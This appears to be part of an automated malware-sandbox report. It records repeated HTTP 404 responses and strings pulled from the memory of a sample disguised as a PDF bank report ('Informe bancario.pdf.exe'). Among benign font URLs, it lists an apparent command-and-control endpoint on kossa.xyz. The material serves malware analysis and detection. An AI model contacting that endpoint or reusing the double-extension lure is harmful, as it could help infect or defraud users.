Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1jD6t2rHYuFn4FYzzNqjS8CselpLY%2Bjq1MHBr90Vx4i7IUWEUXUU3OlA90SCJ8Kl8IXVW3L9Jqh0BJ08Xwi2NYeqrBfylpgnGn0wKRBrj36qHUAfUmIVPg7XMvA%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe67e618697755-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:07 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Q9GKeM1DCUCNDkWTJI7si91%2FhYmrJiPTzKgnLGatICAm8LrANgt7XyJMgX0Jd8iievc76jPbBHYpgRq%2Fls3LOEKozRxm5HYpLHZPqlwA7h7XdYOvcniRwnEiPWQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe67fb786b8880-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:09 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bXMiJPIEoEUFdZzsgRFS8od9XNPKBPK1z7aPFcyn%2FA1ugjwdbtZzB%2BjRKLn%2BXSyWHJukQDQmqihBZ2YI7wjIzshUJaoxfhPtVMIDNZZcS9rYM1PWfoAX6UFsbg0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe680598247780-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FWEWYXk0vBaU2bjp48BtaQpQ3Ggqrm2QHzlEz3cjpBMCny1jbHhv9KIfMDvY7rdMAVGfKU%2FL6ctWgUmBIcCFV68Sb9CTOymCfgRyTXasPXTE76iKGKqAv5qCMAU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe68101b8b9be8-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:12 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=w3W%2FUBL%2FSDBMtNUJBmJhMrWUvmbl3m9w2mVNi%2BJDP21FEOSP848VAvgSKP36DL2w0TklzdIt%2FWhOKAlXmqx%2BuscdBRUNfp46FBktKwDFwm5qu0ArkTMXp%2BiHWGo%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe6818698a9001-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:13 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JYmA19OcduyPB68nR4yg5R2zInSuuGr81RqiNbiBmJyM8NTQIqVdnKCsXggdgPI9IJQ639Skfc1Xaxz4PkdOsUR9ZWjgTE7x5SeIRsETBiIqx0Y7KYLktWZztss%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe682109b99a3c-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:15 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Az5zVGZFTjp8UJIVsr25mnNQuPqx6sYujAOPXu5NlvVO05gm%2BOdCbHP1CNU6V0PIsMANXwlKU0iprTk9ImJaLHLGsgKLWrRNBCaiu%2FM8KhdYAvY4x7eWQ0JaV%2Bw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe682b5b2290a0-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:16 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9DCxtCUH7NJO56%2Bji8yNiiCJJUgJDBZTOFQ74frU1ObyxO%2F4yOA9ipX6bhRPjdAqvI9ZQ1w6oh0Rh4V58WBQaQEbC8XSU5zs1FYK9hVxC%2FFCS8PYXg4YoUngegM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe68345ad99bfe-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:19 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Tvfj2PE6%2FzpvjRTad2HQGf3EmXoAygqppJ4GMoSzXIKEC9Kqx9btv3UYlJEN3dn3qCQiIHQCkSAYOzM%2B5iLgjP69WWrpi3AVPe3xJD6VNGtajlHFHll17GGpOvI%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe684359949122-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DKcjv7S0QT5ZJpVTvL7w3xtBMIYOOqiKId0%2BZb%2BJWAkvE4DfQZms%2FQbhb%2BqwW9ZSf5qscvDJiVACPx0SUAt0P2GDUabDptN6K7exXQzxYmUvFD3oHPdEpm7F%2Bi0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe684f9a0a694b-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:22 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3PTxemW0dpmMPKHg6J4ZsV3RIVrE%2B1D6NlYV6EaBb0CcFK4SCwX0W%2BcytmanNrEq5gg7yjHWmhtqCOwdXena8YdQgcE7Ahjm15Asa3sXW%2FHrISTw9iwetiveUDk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe68589bba9299-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:26 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WMMV0Dl8Wspxba7npT6232CcTfyb%2FKLdRqvKQ8FX2nkMR5DilrH%2FC9o%2BbS5hpPrY7BBkeQjY1WEnkPkTLaZt1oLl3lpNanQlhMp%2BfYG6o%2BPcNqu%2FhHuBz84ConA%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe68719a0e063d-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:33 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jUz%2FxTt4iIhJ2PwKINyhFTvj3fDL%2FtQxy7yK4hOYTJZEgvXmXcUwybmZuRWoCmr%2B%2BSCOYt2yJKsyQ%2B5n%2FzDvLj8qUPA%2BLCjB48JsEsZUy8ZrHzGAOf%2BjC3ptrQY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe689eb8ed74c1-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:36 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6bbUVXooaIDaeng5rUL%2BPRXKVBsU3sIVHHZmUwvwtYqyrsEzj1XGev9%2F22vst8zBf4AuCJEevAIPszi07TW8pFOJDFqbk%2F4sPNcdIxI38tFcEI4pJhXdDFVe2x0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe68b1dce19bd7-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:40 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ANdlC7UcGEh5m1HTK4j05IcjtMfBzgJh5Bk0%2F1gTeCj7nKEReTxIjP3M27aQCKBZnXI5hpnyapmd7muKDc%2BnHx4CATt8a6shCXMY7iAq5J6iHAUpkuHva6YTDMQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe68cae972909a-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:42 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vD6qVK3%2FIKCTz3ypf%2B%2BSFPqEGaeZl7P4VwGxW45KkPFK3KKj9oosoyquUmxU%2BFb0QUhS4XVrMZ8KAPc0SQ5bLsTfRyLBMAlicdN5sDAMpCml%2Bo6cPzoVs9qetD0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe68d539ffbbe3-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:46 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=S5%2F%2BqadrXgtz7ThItXIn%2BgXfmW6anzeh%2B591CEK9NUq9PUr9xCCDD2rPgsy47qrPKFdFhBQe6aLeBSHsBeHgoMNVGjoH4K3JjgxgTLkwD34Q0h8ZzAgnm%2B0V7c4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe68eb08ee9968-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:50 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hfT0dqYjL9yLERBu%2B0sBFWEaQwB1CFa4P4%2F3gtXP70TXSuvW%2BjG%2FsudrDNG2FZ45zuEl6yORiI%2FR7y0tleWWIsdTKyDDCWQAale%2F6MIiGv811PRy5Lwf4zIJRIg%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe6909096006fd-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=U7w7ZObQTczgnUXCgqSSevKrB7lFywSSahWQWOgXL9uCuGP3EUsTbSA6o9En7vWfs3JmQw5s2aWYHUQ62N0Pd%2BTAVL1pub0j5LS%2Fvv2HuOUctIeHAnXDdAde%2FnY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe691afa2a7759-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:55 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rR2Fy%2Bwc4EZFcdXZNOqIPOlDYFTsMbpUIOxIEKz0CCsR6evutYm1eMB79hESwqsLh2DsNHI8jmlVPOt%2FLVnW2cxU6Wtjh0NXEShIlQ3bQ6%2FPC7qTtlsGpBmgkaQ%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe692889f971da-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:55:58 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=j2xTysUgyBlv%2BGF%2BfyzX4Pqe81ORHNTjt%2FIAVNurbCNW8c8BnicNZm2P1zchzR43ui4aGlHmPlox69fxKVbfa8IffG%2FUSLJ8z9sptvHtOFCdoOzjVUU%2FRKK8OPM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe69388842068e-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:56:00 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ze9NFrHZ9IrfuGLxpPvBcSsLm0UomgLk8jPtdqquFlynktDCPfbpkVpR%2FYw4hD7WEGv%2B0MUqREfXG6Kk%2Bqj5B0rKQEMEfEOGC4RuR2zK%2F7ISS9%2Fj4ptzO%2FJudJo%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe69478bbf9962-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:56:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=S1WHOas3vJ7ZFYUp%2FoVVUCVxkbE%2B%2Fp%2B49GWBt85%2By8aInE%2Fgiju3xDMXtJloEZtOOoh0Qkt1%2FZQmQhzHs1QcSgmJ3isNDFUTbBPQR%2BKK%2FfS%2FNBvX4LpQuHNNmZ8%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe69510ec4909d-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:56:04 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=omOyIa%2FbwaXPJ05s%2FswmCZgfnEZ7LUKirOKbYW7ZqLOA%2BDqopKYCA80lwyTggiJdFJRy5LHqQXRYDuDGIw%2FBTrZq3IZvAVcLr9l98RagC6y3fNEi8XGjdLs5zR0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe695e4dcc76c5-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:56:09 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OxjygSRG8X%2FkV9bKGg9vKcukGQQMsZciUlD4EA%2FbKAdKhbAsUZHriNrmaDnwEjlvhCO2v0dr40IU6hwQz7EKgiICOz%2FwZ8BGMfZL6ripgHen%2FVFAblBWSK3ZE5M%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe697a2bb27774-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:56:11 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vKWHn%2FyKZfK22jYwkSiqKJ3lNebyDNlMqc2uTH%2FWPL1CsEeS2wXJq7O8RBu3uo9kCAL4JgpjGnEOG2LPOeL7%2BiITMPF9gEE91z1aYp%2FlObWTDWMy78vsHq6Twg0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe698938c9903a-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:56:14 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ndR9ZCTJ1N11vjX%2Fx0YEz6iEdBcRwRBrFLR63RkojfAusVr7m8LQjcOnDZVKgChgIGzkLUZ6xRoemhHdLPRFdThTivALoGspyfOiDAiawxUfm5e3PqNs0e6Xj8o%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe699a38fd8926-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:56:17 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GvokBvlFU7rHymLkT5aDrY0YFW9JOrqKdEQDAYp28XRPOV9nTidnZuNJsuZx2Ecpe%2BgluEOIUHEw87efs71zeLfR5jQPOg72GppPSuamirQio2LGHZU2xFJ7Yd4%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe69addd1cbbcb-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:56:20 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=49za7TeTSY%2BScp3L3mbuGYQSzA8lKA0u3%2ByMCtjhTcKDSwymE1%2FJodRsLTRHciEX8Kq0Ra9aNOm%2Ffy2I42Ob1ewYWyfNEryyYANBw%2BmQa%2BV%2F4yBU3%2BqCKwbOKrI%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe69bfdc4a4052-LHRalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Jun 2022 15:56:21 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QtFAq1al83O%2FV%2B92iHB%2Bvj41q9z52fvvYULnr9pnDvcrgcXCZbRd%2Fg8PwqQ5%2B7osAmwSr8ZWHiJJHImkp%2FDMHhxFGmlMluudAzgI7dcN3u2RlpiJ3WS3kpCUnMU%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 71fe69c5cf035bdd-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://fontfabrik.com
Source: Informe bancario.pdf.exe, 00000005.00000002.523820442.00000000004A0000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: http://kossa.xyz/esi/pp/play.php
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000003.259547063.0000000005761000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: Informe bancario.pdf.exe, 00000000.00000002.294664129.0000000005750000.00000004.00000800.00020000.00000000.sdmp, Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: Informe bancario.pdf.exe, 00000000.00000002.295243151.0000000006962000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
